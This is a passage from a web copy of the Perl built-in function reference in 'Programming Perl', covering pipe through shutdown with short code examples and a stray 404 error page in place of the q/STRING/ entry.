Like the corresponding system call, this function opens a pair of connected pipes - see pipe(2). This call is almost always used right before a fork, after which the pipe's reader should close WRITEHANDLE, and the writer close READHANDLE. (Otherwise the pipe won't indicate EOF to the reader when the writer closes it.) Note that if you set up a loop of piped processes, deadlock can occur unless you are very careful. In addition, note that Perl's pipes use standard I/O buffering, so you may need to set $| on your WRITEHANDLE to flush after each output command, depending on the application - see select (output filehandle).

See also the section on "Pipes" in Chapter 6.

Previous: 3.2.106 package | Programming Perl | Next: 3.2.108 pop
3.2.106 package | Book Index | 3.2.108 pop


[Chapter 3] 3.2.108 pop

Programming PerlSearch this book

3.2.108 pop

pop ARRAY
pop

This function treats an array like a stack - it pops and returns the last value of the array, shortening the array by 1. If ARRAY is omitted, the function pops @ARGV (in the main program), or @_ (in subroutines). It has the same effect as:

$tmp = $ARRAY[$#ARRAY--];

or:

$tmp = splice @ARRAY, -1;

If there are no elements in the array, pop returns the undefined value. See also push and shift. If you want to pop more than one element, use splice.

Note that pop requires its first argument to be an array, not a list. If you just want the last element of a list, use this:

(something_returning_a_list)[-1]

Previous: 3.2.107 pipe | Programming Perl | Next: 3.2.109 pos
3.2.107 pipe | Book Index | 3.2.109 pos


[Chapter 3] 3.2.109 pos

Programming PerlSearch this book

3.2.109 pos

pos SCALAR

Returns the location in SCALAR where the last m//g search over SCALAR left off. It returns the offset of the character after the last one matched. (That is, it's equivalent to length($`) + length($&).) This is the offset where the next m//g search on that string will start. Remember that the offset of the beginning of the string is 0. For example:

$grafitto = "fee fie foe foo";
while ($grafitto =~ m/e/g) {
    print pos $grafitto, "\n";
}

prints 2, 3, 7, and 11, the offsets of each of the characters following an "e". The pos function may be assigned a value to tell the next m//g where to start:

$grafitto = "fee fie foe foo";
pos $grafitto = 4;  # Skip the fee, start at fie
while ($grafitto =~ m/e/g) {
        print pos $grafitto, "\n";
}

This prints only 7 and 11. (Thank heaven.) The regular expression assertion, \G, matches only at the location currently specified by pos for the string being searched.

Previous: 3.2.108 pop | Programming Perl | Next: 3.2.110 print
3.2.108 pop | Book Index | 3.2.110 print


[Chapter 3] 3.2.110 print

Programming PerlSearch this book

3.2.110 print

print FILEHANDLE LIST
print LIST
print

This function prints a string or a comma-separated list of strings. The function returns 1 if successful, 0 otherwise. FILEHANDLE may be a scalar variable name (unsubscripted), in which case the variable contains either the name of the actual filehandle or a reference to a filehandle object from one of the object-oriented filehandle packages. FILEHANDLE may also be a block that returns either kind of value:

print { $OK ? "STDOUT" : "STDERR" } "stuff\n";
print { $iohandle[$i] } "stuff\n";

Note that if FILEHANDLE is a variable and the next token is a term, it may be misinterpreted as an operator unless you interpose a + or put parentheses around the arguments. For example:

print $a - 2;   # prints $a - 2 to default filehandle (usually STDOUT)
print $a (- 2); # prints -2 to filehandle specified in $a
print $a -2;    # ditto (weird parsing rules :-)

If FILEHANDLE is omitted, the function prints to the currently selected output filehandle, initially STDOUT. To set the default output filehandle to something other than STDOUT use the select(FILEHANDLE) operation.[7] If LIST is also omitted, prints $_. Note that, because print takes a LIST, anything in the LIST is evaluated in list context, and any subroutine that you call will likely have one or more of its own internal expressions evaluated in list context. Thus, when you say:

[7] Thus, STDOUT isn't really the default filehandle for print. It's merely the default default filehandle.

print OUT <STDIN>;

it is not going to print out the next line from standard input, but all the rest of the lines from standard input up to end-of-file, since that's what <STDIN> returns in list context. Also, remembering the if-it-looks-like-a-function-it-is-a-function rule, be careful not to follow the print keyword with a left parenthesis unless you want the corresponding right parenthesis to terminate the arguments to the print - interpose a + or put parens around all the arguments:

print (1+2)*3, "\n";            # WRONG
print +(1+2)*3, "\n";           # ok
print ((1+2)*3, "\n");          # ok

Previous: 3.2.109 pos | Programming Perl | Next: 3.2.111 printf
3.2.109 pos | Book Index | 3.2.111 printf


[Chapter 3] 3.2.111 printf

Programming PerlSearch this book

3.2.111 printf

printf FILEHANDLE FORMAT LIST
printf FORMAT LIST

This function prints a formatted string to FILEHANDLE or, if omitted, the currently selected output filehandle, initially STDOUT. The first item in the LIST must be a string that says how to format the rest of the items. This is similar to the C library's printf(3) and fprintf(3) function, except that the * field width specifier is not supported. The function is equivalent to:

print FILEHANDLE sprintf LIST

See print and sprintf. The description of sprintf includes the list of acceptable specifications for the format string.

Don't fall into the trap of using a printf when a simple print would do. The print is more efficient, and less error prone.

Previous: 3.2.110 print | Programming Perl | Next: 3.2.112 push
3.2.110 print | Book Index | 3.2.112 push


[Chapter 3] 3.2.112 push

Programming PerlSearch this book

3.2.112 push

push ARRAY, LIST

This function treats ARRAY as a stack, and pushes the values of LIST onto the end of ARRAY. The length of ARRAY increases by the length of LIST. The function returns this new length. The push function has the same effect as:

foreach $value (LIST) {
    $ARRAY[++$#ARRAY] = $value;
}

or:

splice @ARRAY, @ARRAY, 0, LIST;

but is more efficient (for both you and your computer). You can use push in combination with shift to make a fairly time-efficient shift register or queue:

for (;;) {
    push @ARRAY, shift @ARRAY;
    ...
}

See also pop and unshift.

Previous: 3.2.111 printf | Programming Perl |
3.2.111 printf | Book Index | 3.2.113 q/STRING/


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/prog/ch03_113.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


[Chapter 3] 3.2.114 quotemeta

Programming PerlSearch this book

3.2.114 quotemeta

quotemeta EXPR

This function returns the value of EXPR (or $_ if not specified) with all non-alphanumeric characters backslashed. This is the internal function implementing the \Q escape in interpolative contexts (including double-quoted strings, backticks, and patterns).

 | Programming Perl | Next: 3.2.115 rand
3.2.113 q/STRING/ | Book Index | 3.2.115 rand


[Chapter 3] 3.2.115 rand

Programming PerlSearch this book

3.2.115 rand

rand EXPR
rand

This function returns a random fractional number between 0 and the value of EXPR. (EXPR should be positive.) If EXPR is omitted, the function returns a value between 0 and 1 (including 0, but excluding 1). See also srand.

To get an integral value, combine this with int, as in:

$roll = int(rand 6) + 1;       # $roll is now an integer between 1 and 6

Previous: 3.2.114 quotemeta | Programming Perl | Next: 3.2.116 read
3.2.114 quotemeta | Book Index | 3.2.116 read


[Chapter 3] 3.2.116 read

Programming PerlSearch this book

3.2.116 read

read FILEHANDLE, SCALAR, LENGTH, OFFSET
read FILEHANDLE, SCALAR, LENGTH

This function attempts to read LENGTH bytes of data into variable SCALAR from the specified FILEHANDLE. The function returns the number of bytes actually read, 0 at end-of-file. It returns the undefined value on error. SCALAR will be grown or shrunk to the length actually read. The OFFSET, if specified, says where in the variable to start putting bytes, so that you can do a read into the middle of a string.

To copy data from filehandle FROM into filehandle TO, you could say:

while (read FROM, $buf, 16384) {
    print TO $buf;
}

Note that the opposite of read is simply a print, which already knows the length of the string you want to write, and can write a string of any length.

Perl's read function is actually implemented in terms of standard I/O's fread(3) function, so the actual read(2) system call may read more than LENGTH bytes to fill the input buffer, and fread(3) may do more than one system read(2) in order to fill the buffer. To gain greater control, specify the real system call using sysread. Calls to read and sysread should not be intermixed unless you are into heavy wizardry (or pain).

Previous: 3.2.115 rand | Programming Perl | Next: 3.2.117 readdir
3.2.115 rand | Book Index | 3.2.117 readdir


[Chapter 3] 3.2.117 readdir

Programming PerlSearch this book

3.2.117 readdir

readdir DIRHANDLE

This function reads directory entries from a directory handle opened by opendir. In scalar context, this function returns the next directory entry, if any, otherwise an undefined value. In list context, it returns all the rest of the entries in the directory, which will of course be a null list if there are none. For example:

opendir THISDIR, "." or die "serious dainbramage: $!";
@allfiles = readdir THISDIR;
closedir THISDIR;
print "@allfiles\n";

prints all the files in the current directory on one line. If you want to avoid the "." and ".." entries, use this instead:

@allfiles = grep !/^\.\.?$/, readdir THISDIR;

And to avoid all .* files (like the ls program):

@allfiles = grep !/^\./, readdir THISDIR;

To get just text files, say this:

@textfiles = grep -T, readdir THISDIR;

But watch out on that last one, because the result of readdir needs to have the directory part glued back on if it's not the current directory - like this:

opendir THATDIR, $thatdir;
@text_of_thatdir = grep -T, map "$thatdir/$_", readdir THATDIR;
closedir THATDIR;

Previous: 3.2.116 read | Programming Perl | Next: 3.2.118 readlink
3.2.116 read | Book Index | 3.2.118 readlink


[Chapter 3] 3.2.118 readlink

Programming PerlSearch this book

3.2.118 readlink

readlink EXPR

This function returns the name of a file pointed to by a symbolic link. EXPR should evaluate to a filename, the last component of which is a symbolic link. If it is not a symbolic link, or if symbolic links are not implemented, or if some system error occurs, the undefined value is returned, and you should check the error code in $!. If EXPR is omitted, the function uses $_.

Be aware that the returned symlink may be relative to the location you specified. For instance, you may say:

readlink "/usr/local/src/express/yourself.h"

and readlink might return:

../express.1.23/includes/yourself.h

which is not directly usable as a filename unless your current directory happens to be /usr/local/src/express.

Previous: 3.2.117 readdir | Programming Perl | Next: 3.2.119 recv
3.2.117 readdir | Book Index | 3.2.119 recv


[Chapter 3] 3.2.119 recv

Programming PerlSearch this book

3.2.119 recv

recv SOCKET, SCALAR, LEN, FLAGS

This function receives a message on a socket. It attempts to receive LENGTH bytes of data into variable SCALAR from the specified SOCKET filehandle. The function returns the address of the sender, or the undefined value if there's an error. SCALAR will be grown or shrunk to the length actually read. The function takes the same flags as recv(2). See the section "Sockets" in Chapter 6.

Previous: 3.2.118 readlink | Programming Perl | Next: 3.2.120 redo
3.2.118 readlink | Book Index | 3.2.120 redo


[Chapter 3] 3.2.120 redo

Programming PerlSearch this book

3.2.120 redo

redo LABEL
redo

The redo command restarts a loop block without evaluating the conditional again. The continue block, if any, is not executed. If the LABEL is omitted, the command refers to the innermost enclosing loop. This command is normally used by programs that wish to deceive themselves about what was just input:

# A loop that joins lines continued with a backslash.
LINE: while (<STDIN>) {
    if (s/\\\n$// and $nextline = <STDIN>) {
        $_ .= $nextline;
        redo LINE;
    }
    print;  # or whatever...
}

Previous: 3.2.119 recv | Programming Perl | Next: 3.2.121 ref
3.2.119 recv | Book Index | 3.2.121 ref


[Chapter 3] 3.2.121 ref

Programming PerlSearch this book

3.2.121 ref

ref EXPR

The ref operator returns a true value if EXPR is a reference, the null string otherwise. The value returned depends on the type of thing the reference is a reference to. Built-in types include:

REF
SCALAR
ARRAY
HASH
CODE
GLOB

If the referenced object has been blessed into a package, then that package name is returned instead. You can think of ref as a "typeof" operator.

if (ref($r) eq "HASH") {
    print "r is a reference to a hash.\n";
}
elsif (ref($r) eq "Hump") {
    print "r is a reference to a Hump object.\n";
}
elsif (not ref $r) {
    print "r is not a reference at all.\n";
}

See Chapter 4 for more details.

Previous: 3.2.120 redo | Programming Perl | Next: 3.2.122 rename
3.2.120 redo | Book Index | 3.2.122 rename


[Chapter 3] 3.2.122 rename

Programming PerlSearch this book

3.2.122 rename

rename OLDNAME, NEWNAME

This function changes the name of a file. It returns 1 for success, 0 otherwise (and puts the error code into $!). It will not work across filesystem boundaries. If there is already a file named NEWNAME, it will be destroyed.

Previous: 3.2.121 ref | Programming Perl | Next: 3.2.123 require
3.2.121 ref | Book Index | 3.2.123 require


[Chapter 3] 3.2.123 require

Programming PerlSearch this book

3.2.123 require

require EXPR
require

This function asserts a dependency of some kind on its argument. (If EXPR is not supplied, $_ is used as the argument.)

If the argument is a string, this function includes and executes the Perl code found in the separate file whose name is given by the string. This is similar to performing an eval on the contents of the file, except that require checks to see that the library file has not been included already. (It can thus be used to express file dependencies without worrying about duplicate compilation.) The function also knows how to search the include path stored in the @INC array (see the section "Special Variables" in Chapter 2).

This form of the require function behaves much like this subroutine:

sub require {
    my($filename) = @_;
    return 1 if $INC{$filename};
    my($realfilename, $result);
    ITER: {
        foreach $prefix (@INC) {
            $realfilename = "$prefix/$filename";
            if (-f $realfilename) {
                $result = eval `cat $realfilename`;
                last ITER;
            }
        }
        die "Can't find $filename in \@INC";
    }
    die $@ if $@;
    die "$filename did not return true value" unless $result;
    $INC{$filename} = $realfilename;
    return $result;
}

Note that the file must return true as the last value to indicate successful execution of any initialization code, so it's customary to end such a file with 1; unless you're sure it'll return true otherwise.

This operator differs from the now somewhat obsolete do EXPR operator in that the file will not be included again if it was included previously with either a require or do EXPR command, and any difficulties will be detected and reported as fatal errors (which may be trapped by use of eval). The do command does know how to do the @INC path search, however.

If require's argument is a number, the version number of the currently executing Perl binary (as known by $]) is compared to EXPR, and if smaller, execution is immediately aborted. Thus, a script that requires Perl version 5.003 can have as its first line:

require 5.003;

and earlier versions of Perl will abort.

If require's argument is a package name (see package), require assumes an automatic .pm suffix, making it easy to load standard modules. This is like use, except that it happens at run-time, not compile time, and the import routine is not called. For example, to pull in Socket.pm without introducing any symbols into the current package, say this:

require Socket; # instead of "use Socket;"

However, one can get the same effect with the following, which has the advantage of giving a compile-time warning if Socket.pm can't be located:

use Socket ();

Previous: 3.2.122 rename | Programming Perl | Next: 3.2.124 reset
3.2.122 rename | Book Index | 3.2.124 reset


[Chapter 3] 3.2.124 reset

Programming PerlSearch this book

3.2.124 reset

reset EXPR
reset

This function is generally used at the top of a loop or in a continue block at the end of a loop, to clear global variables or reset ?? searches so that they work again. The expression is interpreted as a list of single characters (hyphens are allowed for ranges). All scalar variables, arrays, and hashes beginning with one of those letters are reset to their pristine state. If the expression is omitted, one-match searches (?PATTERN?) are reset to match again. The function resets variables or searches for the current package only. It always returns 1.

To reset all "X" variables, say this:

reset 'X';

To reset all lowercase variables, say this:

reset 'a-z';

Lastly, to just reset ?? searches, say:

reset;

Note that resetting "A-Z" is not recommended since you'll wipe out your ARGV, INC, ENV, and SIG arrays.

Lexical variables (created by my) are not affected. Use of reset is vaguely deprecated.

Previous: 3.2.123 require | Programming Perl | Next: 3.2.125 return
3.2.123 require | Book Index | 3.2.125 return


[Chapter 3] 3.2.125 return

Programming PerlSearch this book

3.2.125 return

return EXPR

This function returns from a subroutine (or eval) with the value specified. (In the absence of an explicit return, the value of the last expression evaluated is returned.) Use of return outside of a subroutine or eval is verboten, and results in a fatal error. Note also that an eval cannot do a return on behalf of the subroutine that called the eval.

The supplied expression will be evaluated in the context of the subroutine invocation. That is, if the subroutine was called in a scalar context, EXPR is also evaluated in scalar context. If the subroutine was invoked in a list context, then EXPR is also evaluated in list context, and can return a list value. A return with no argument returns the undefined value in scalar context, and a null list in list context. The context of the subroutine call can be determined from within the subroutine by using the (misnamed) wantarray function.

Previous: 3.2.124 reset | Programming Perl | Next: 3.2.126 reverse
3.2.124 reset | Book Index | 3.2.126 reverse


[Chapter 3] 3.2.126 reverse

Programming PerlSearch this book

3.2.126 reverse

reverse LIST

In list context, this function returns a list value consisting of the elements of LIST in the opposite order. This is fairly efficient because it just swaps the pointers around. The function can be used to create descending sequences:

for (reverse 1 .. 10) { ... }

Because of the way hashes flatten into lists when passed to (non-hash-aware) functions, reverse can also be used to invert a hash, presuming the values are unique:

%barfoo = reverse %foobar;

In scalar context, the function concatenates all the elements of LIST together and then returns the reverse of that, character by character.

A small hint: reversing a list sorted earlier by a user-defined function can sometimes be achieved more easily by simply sorting in the opposite direction in the first place.

Previous: 3.2.125 return | Programming Perl | Next: 3.2.127 rewinddir
3.2.125 return | Book Index | 3.2.127 rewinddir


[Chapter 3] 3.2.127 rewinddir

Programming PerlSearch this book

3.2.127 rewinddir

rewinddir DIRHANDLE

This function sets the current position to the beginning of the directory for the readdir routine on DIRHANDLE. The function may not be available on all machines that support readdir.

Previous: 3.2.126 reverse | Programming Perl | Next: 3.2.128 rindex
3.2.126 reverse | Book Index | 3.2.128 rindex


[Chapter 3] 3.2.128 rindex

Programming PerlSearch this book

3.2.128 rindex

rindex STR, SUBSTR, POSITION
rindex STR, SUBSTR

This function works just like index except that it returns the position of the last occurrence of SUBSTR in STR (a reverse index). The function returns $[-1 if not found. Since $[ is almost always 0 nowadays, the function almost always returns -1. POSITION, if specified, is the rightmost position that may be returned. To work your way through a string backward, say:

$pos = length $string;
while (($pos = rindex $string, $lookfor, $pos) >= 0) {
    print "Found at $pos\n";
    $pos--;
}

Previous: 3.2.127 rewinddir | Programming Perl | Next: 3.2.129 rmdir
3.2.127 rewinddir | Book Index | 3.2.129 rmdir


[Chapter 3] 3.2.129 rmdir

Programming PerlSearch this book

3.2.129 rmdir

rmdir FILENAME

This function deletes the directory specified by FILENAME if it is empty. If it succeeds, it returns 1, otherwise it returns 0 and puts the error code into $!. If FILENAME is omitted, the function uses $_.

Previous: 3.2.128 rindex | Programming Perl | Next: 3.2.130 s///
3.2.128 rindex | Book Index | 3.2.130 s///


[Chapter 3] 3.2.130 s///

Programming PerlSearch this book

3.2.130 s///

s///

The substitution operator. See "Pattern Matching Operators" in Chapter 2.

Previous: 3.2.129 rmdir | Programming Perl | Next: 3.2.131 scalar
3.2.129 rmdir | Book Index | 3.2.131 scalar


[Chapter 3] 3.2.131 scalar

Programming PerlSearch this book

3.2.131 scalar

scalar EXPR

This pseudo-function may be used within a LIST to force EXPR to be evaluated in scalar context when evaluation in list context would produce a different result.

For example:

local($nextvar) = scalar <STDIN>;

prevents <STDIN> from reading all the lines from standard input before doing the assignment, since assignment to a local list provides a list context. (Without the use of scalar in this example, the first line from <STDIN> would still be assigned to $nextvar, but the subsequent lines would be read and thrown away. This is because the assignment is being made to a list - one that happens to be able to receive only a single, scalar value.)

Of course, a simpler way with less typing would be to simply leave the parentheses off, thereby changing the list context to a scalar one:

local $nextvar = <STDIN>;

Since a print function is a LIST operator, you have to say:

print "Length is ", scalar(@ARRAY), "\n";

if you want the length of @ARRAY to be printed out.

One never needs to force evaluation in a list context, because any operation that wants a list already provides a list context to its list arguments for free. So there's no list function corresponding to scalar.

Previous: 3.2.130 s/// | Programming Perl | Next: 3.2.132 seek
3.2.130 s/// | Book Index | 3.2.132 seek


[Chapter 3] 3.2.132 seek

Programming PerlSearch this book

3.2.132 seek

seek FILEHANDLE, OFFSET, WHENCE

This function positions the file pointer for FILEHANDLE, just like the fseek(3) call of standard I/O. The first position in a file is at offset 0, not offset 1, and offsets refer to byte positions, not line numbers. (In general, since line lengths vary, it's not possible to access a particular line number without examining the whole file up to that line number, unless all your lines are known to be of a particular length, or you've built an index that translates line numbers into byte offsets.) FILEHANDLE may be an expression whose value gives the name of the filehandle or a reference to a filehandle object. The function returns 1 upon success, 0 otherwise. For handiness, the function can calculate offsets from various file positions for you. The value of WHENCE specifies which file position your OFFSET is relative to: 0, the beginning of the file; 1, the current position in the file; or 2, the end of the file. OFFSET may be negative for a WHENCE of 1 or 2.

One interesting use for this function is to allow you to follow growing files, like this:

for (;;) {
    while (<LOG>) {
        ...           # Process file.
    }
    sleep 15;
    seek LOG,0,1;      # Reset end-of-file error.
}

The final seek clears the end-of-file error without moving the pointer. If that doesn't work (depending on your C library's standard I/O implementation), then you may need something more like this:

for (;;) {
    for ($curpos = tell FILE; $_ = <FILE>; $curpos = tell FILE) {
        # search for some stuff and put it into files
    }
    sleep $for_a_while;
    seek FILE, $curpos, 0;
}

Similar strategies could be used to remember the seek addresses of each line in an array.

Previous: 3.2.131 scalar | Programming Perl | Next: 3.2.133 seekdir
3.2.131 scalar | Book Index | 3.2.133 seekdir


[Chapter 3] 3.2.133 seekdir

Programming PerlSearch this book

3.2.133 seekdir

seekdir DIRHANDLE, POS

This function sets the current position for the readdir routine on DIRHANDLE. POS must be a value returned by telldir. This function has the same caveats about possible directory compaction as the corresponding system library routine. The function may not be implemented everywhere that readdir is. It's certainly not implemented where readdir isn't.

Previous: 3.2.132 seek | Programming Perl | Next: 3.2.134 select (output filehandle)
3.2.132 seek | Book Index | 3.2.134 select (output filehandle)


[Chapter 3] 3.2.134 select (output filehandle)

Programming PerlSearch this book

3.2.134 select (output filehandle)

select FILEHANDLE
select

For historical reasons, there are two select operators that are totally unrelated to each other. See the next section for the other one. This select operator returns the currently selected output filehandle, and if FILEHANDLE is supplied, sets the current default filehandle for output. This has two effects: first, a write or a print without a filehandle will default to this FILEHANDLE. Second, special variables related to output will refer to this output filehandle. For example, if you have to set the same top-of-form format for more than one output filehandle, you might do the following:

select REPORT1;
$^ = 'MyTop';
select REPORT2;
$^ = 'MyTop';

But note that this leaves REPORT2 as the currently selected filehandle. This could be construed as antisocial, since it could really foul up some other routine's print or write statements. Properly written library routines leave the currently selected filehandle the same on exit as it was upon entry. To support this, FILEHANDLE may be an expression whose value gives the name of the actual filehandle. Thus, you can save and restore the currently selected filehandle:

my $oldfh = select STDERR; $| = 1; select $oldfh;

or (being bizarre and obscure):

select((select(STDERR), $| = 1)[0])

This example works by building a list consisting of the returned value from select(STDERR) (which selects STDERR as a side effect) and $| = 1 (which is always 1), but sets autoflushing on the now-selected STDERR as a side effect. The first element of that list (the previously selected filehandle) is now used as an argument to the outer select. Bizarre, right? That's what you get for knowing just enough Lisp to be dangerous.

However, now that we've explained all that, we should point out that you rarely need to use this form of select nowadays, because most of the special variables you would want to set have object-oriented wrapper methods to do it for you. So instead of setting $| directly, you might say:

use FileHandle;
STDOUT->autoflush(1);

And the earlier format example might be coded as:

use FileHandle;
REPORT1->format_top_name("MyTop");
REPORT2->format_top_name("MyTop");

Previous: 3.2.133 seekdir | Programming Perl | Next: 3.2.135 select (ready file descriptors)
3.2.133 seekdir | Book Index | 3.2.135 select (ready file descriptors)


[Chapter 3] 3.2.135 select (ready file descriptors)

Programming PerlSearch this book

3.2.135 select (ready file descriptors)

select RBITS, WBITS, EBITS, TIMEOUT

The four-argument select operator is totally unrelated to the previously described operator. This operator is for discovering which (if any) of your file descriptors are ready to do input or output, or to report an exceptional condition. (This helps you avoid having to do polling.) It calls the select(2) system call with the bitmasks you've specified, which you can construct using fileno and vec, like this:

$rin = $win = $ein = "";
vec($rin, fileno(STDIN), 1) = 1;
vec($win, fileno(STDOUT), 1) = 1;
$ein = $rin | $win;

If you want to select on many filehandles you might wish to write a subroutine:

sub fhbits {
    my @fhlist = @_;
    my $bits;
    for (@fhlist) {
        vec($bits, fileno($_), 1) = 1;
    }
    return $bits;
}
$rin = fhbits(qw(STDIN TTY MYSOCK));

If you wish to use the same bitmasks repeatedly (and it's more efficient if you do), the usual idiom is:

($nfound, $timeleft) =
    select($rout=$rin, $wout=$win, $eout=$ein, $timeout);

Or to block until any file descriptor becomes ready:

$nfound = select($rout=$rin, $wout=$win, $eout=$ein, undef);

The $wout=$win trick works because the value of an assignment is its left side, so $wout gets clobbered first by the assignment, and then by the select, while $win remains unchanged.

Any of the bitmasks can also be undef. The timeout, if specified, is in seconds, which may be fractional. (A timeout of 0 effects a poll.) Not many implementations are capable of returning the $timeleft. If not, they always return $timeleft equal to the supplied $timeout.

One use for select is to sleep with a finer resolution than sleep allows. To do this, specify undef for all the bitmasks. So, to sleep for (at least) 4.75 seconds, use:

select undef, undef, undef, 4.75;

(On some non-UNIX systems this may not work, and you may need to fake up at least one bitmask for a valid descriptor that won't ever be ready.)

Mixing buffered I/O (like read or <HANDLE>) with four-argument select is asking for trouble. Use sysread instead.

Previous: 3.2.134 select (output filehandle) | Programming Perl | Next: 3.2.136 semctl
3.2.134 select (output filehandle) | Book Index | 3.2.136 semctl


[Chapter 3] 3.2.136 semctl

Programming PerlSearch this book

3.2.136 semctl

semctl ID, SEMNUM, CMD, ARG

This function calls the System V IPC system call semctl(2). If CMD is &IPC_STAT or &GETALL, then ARG must be a variable which will hold the returned semid_ds structure or semaphore value array. The function returns like ioctl: the undefined value for error, "0 but true" for zero, or the actual return value otherwise. On error, it puts the error code into $!. Before calling, you should say:

require "ipc.ph";
require "sem.ph";

This function is available only on machines supporting System V IPC.

Previous: 3.2.135 select (ready file descriptors) | Programming Perl | Next: 3.2.137 semget
3.2.135 select (ready file descriptors) | Book Index | 3.2.137 semget


[Chapter 3] 3.2.137 semget

Programming PerlSearch this book

3.2.137 semget

semget KEY, NSEMS, SIZE, FLAGS

This function calls the System V IPC system call semget(2). The function returns the semaphore ID, or the undefined value if there is an error. On error, it puts the error code into $!. Before calling, you should say:

require "ipc.ph";
require "sem.ph";

This function is available only on machines supporting System V IPC.

Previous: 3.2.136 semctl | Programming Perl | Next: 3.2.138 semop
3.2.136 semctl | Book Index | 3.2.138 semop


[Chapter 3] 3.2.138 semop

Programming PerlSearch this book

3.2.138 semop

semop KEY, OPSTRING

This function calls the System V IPC system call semop(2) to perform semaphore operations such as signaling and waiting. OPSTRING must be a packed array of semop structures. You can make each semop structure by saying pack("s*", $semnum, $semop, $semflag). The number of semaphore operations is implied by the length of OPSTRING. The function returns true if successful, or false if there is an error. On error, it puts the error code into $!. Before calling, you should say:

require "ipc.ph";
require "sem.ph";

The following code waits on semaphore $semnum of semaphore id $semid:

$semop = pack "s*", $semnum, -1, 0;
die "Semaphore trouble: $!\n" unless semop $semid, $semop;

To signal the semaphore, simply replace -1 with 1.

This function is available only on machines supporting System V IPC.

Previous: 3.2.137 semget | Programming Perl | Next: 3.2.139 send
3.2.137 semget | Book Index | 3.2.139 send


[Chapter 3] 3.2.139 send

Programming PerlSearch this book

3.2.139 send

send SOCKET, MSG, FLAGS, TO
send SOCKET, MSG, FLAGS

This function sends a message on a socket. It takes the same flags as the system call of the same name - see send(2). On unconnected sockets you must specify a destination to send TO, in which case send works like sendto(2). The function returns the number of bytes sent, or the undefined value if there is an error. On error, it puts the error code into $!.

(Some non-UNIX systems improperly treat sockets as different objects than ordinary file descriptors, with the result that you must always use send and recv on sockets rather than the handier standard I/O operators.)

Previous: 3.2.138 semop | Programming Perl | Next: 3.2.140 setpgrp
3.2.138 semop | Book Index | 3.2.140 setpgrp


[Chapter 3] 3.2.140 setpgrp

Programming PerlSearch this book

3.2.140 setpgrp

setpgrp PID, PGRP

This function sets the current process group (pgrp) for the specified PID (use a PID of 0 for the current process). Invoking setpgrp will produce a fatal error if used on a machine that doesn't implement setpgrp(2). Beware: some systems will ignore the arguments you provide and always do setpgrp(0, $$). Fortunately, those are the arguments one usually provides. (For better portability (by some definition), use the setpgid() function in the POSIX module, or if you're really just trying to daemonize your script, consider the POSIX::setsid() function as well.)

Previous: 3.2.139 send | Programming Perl | Next: 3.2.141 setpriority
3.2.139 send | Book Index | 3.2.141 setpriority


[Chapter 3] 3.2.141 setpriority

Programming PerlSearch this book

3.2.141 setpriority

setpriority WHICH, WHO, PRIORITY

This function sets the current priority for a process, a process group, or a user. See setpriority(2). Invoking setpriority will produce a fatal error if used on a machine that doesn't implement setpriority(2). To "nice" your process down by four units (the same as executing your program with nice(1)), try:

setpriority 0, 0, getpriority(0, 0) + 4;

The interpretation of a given priority may vary from one operating system to the next.

Previous: 3.2.140 setpgrp | Programming Perl | Next: 3.2.142 setsockopt
3.2.140 setpgrp | Book Index | 3.2.142 setsockopt


[Chapter 3] 3.2.142 setsockopt

Programming PerlSearch this book

3.2.142 setsockopt

setsockopt SOCKET, LEVEL, OPTNAME, OPTVAL

This function sets the socket option requested. The function returns undefined if there is an error. OPTVAL may be specified as undef if you don't want to pass an argument. A common option to set on a socket is SO_REUSEADDR, to get around the problem of not being able to bind to a particular address while the previous TCP connection on that port is still making up its mind to shut down. That would look like this:

use Socket;
...
setsockopt(MYSOCK, SOL_SOCKET, SO_REUSEADDR, 1)
        or warn "Can't do setsockopt: $!\n";

Previous: 3.2.141 setpriority | Programming Perl | Next: 3.2.143 shift
3.2.141 setpriority | Book Index | 3.2.143 shift


[Chapter 3] 3.2.143 shift

Programming PerlSearch this book

3.2.143 shift

shift ARRAY
shift

This function shifts the first value of the array off and returns it, shortening the array by 1 and moving everything down. (Or up, or left, depending on how you visualize the array list.) If there are no elements in the array, the function returns the undefined value. If ARRAY is omitted, the function shifts @ARGV (in the main program), or @_ (in subroutines). See also unshift, push, pop, and splice. The shift and unshift functions do the same thing to the left end of an array that pop and push do to the right end.

Previous: 3.2.142 setsockopt | Programming Perl | Next: 3.2.144 shmctl
3.2.142 setsockopt | Book Index | 3.2.144 shmctl


[Chapter 3] 3.2.144 shmctl

Programming PerlSearch this book

3.2.144 shmctl

shmctl ID, CMD, ARG

This function calls the System V IPC system call, shmctl(2). If CMD is &IPC_STAT, then ARG must be a variable which will hold the returned shmid_ds structure. The function returns like ioctl: the undefined value for error, "0 but true" for zero, or the actual return value otherwise. On error, it puts the error code into $!. Before calling, you should say:

require "ipc.ph";
require "shm.ph";

This function is available only on machines supporting System V IPC.

Previous: 3.2.143 shift | Programming Perl | Next: 3.2.145 shmget
3.2.143 shift | Book Index | 3.2.145 shmget


[Chapter 3] 3.2.145 shmget

Programming PerlSearch this book

3.2.145 shmget

shmget KEY, SIZE, FLAGS

This function calls the System V IPC system call, shmget(2). The function returns the shared memory segment ID, or the undefined value if there is an error. On error, it puts the error code into $!. Before calling, you should say:

require "ipc.ph";
require "shm.ph";

This function is available only on machines supporting System V IPC.

Previous: 3.2.144 shmctl | Programming Perl | Next: 3.2.146 shmread
3.2.144 shmctl | Book Index | 3.2.146 shmread


[Chapter 3] 3.2.146 shmread

Programming PerlSearch this book

3.2.146 shmread

shmread ID, VAR, POS, SIZE

This function reads from the shared memory segment ID starting at position POS for size SIZE (by attaching to it, copying out, and detaching from it). VAR must be a variable that will hold the data read. The function returns true if successful, or false if there is an error. On error, it puts the error code into $!. This function is available only on machines supporting System V IPC.

Previous: 3.2.145 shmget | Programming Perl | Next: 3.2.147 shmwrite
3.2.145 shmget | Book Index | 3.2.147 shmwrite


[Chapter 3] 3.2.147 shmwrite

Programming PerlSearch this book

3.2.147 shmwrite

shmwrite ID, STRING, POS, SIZE

This function writes to the shared memory segment ID starting at position POS for size SIZE (by attaching to it, copying in, and detaching from it). If STRING is too long, only SIZE bytes are used; if STRING is too short, nulls are written to fill out SIZE bytes. The function returns true if successful, or false if there is an error. On error, it puts the error code into $!. This function is available only on machines supporting System V IPC.

Previous: 3.2.146 shmread | Programming Perl | Next: 3.2.148 shutdown
3.2.146 shmread | Book Index | 3.2.148 shutdown


[Chapter 3] 3.2.148 shutdown

Programming PerlSearch this book

3.2.148 shutdown

shutdown SOCKET, HOW

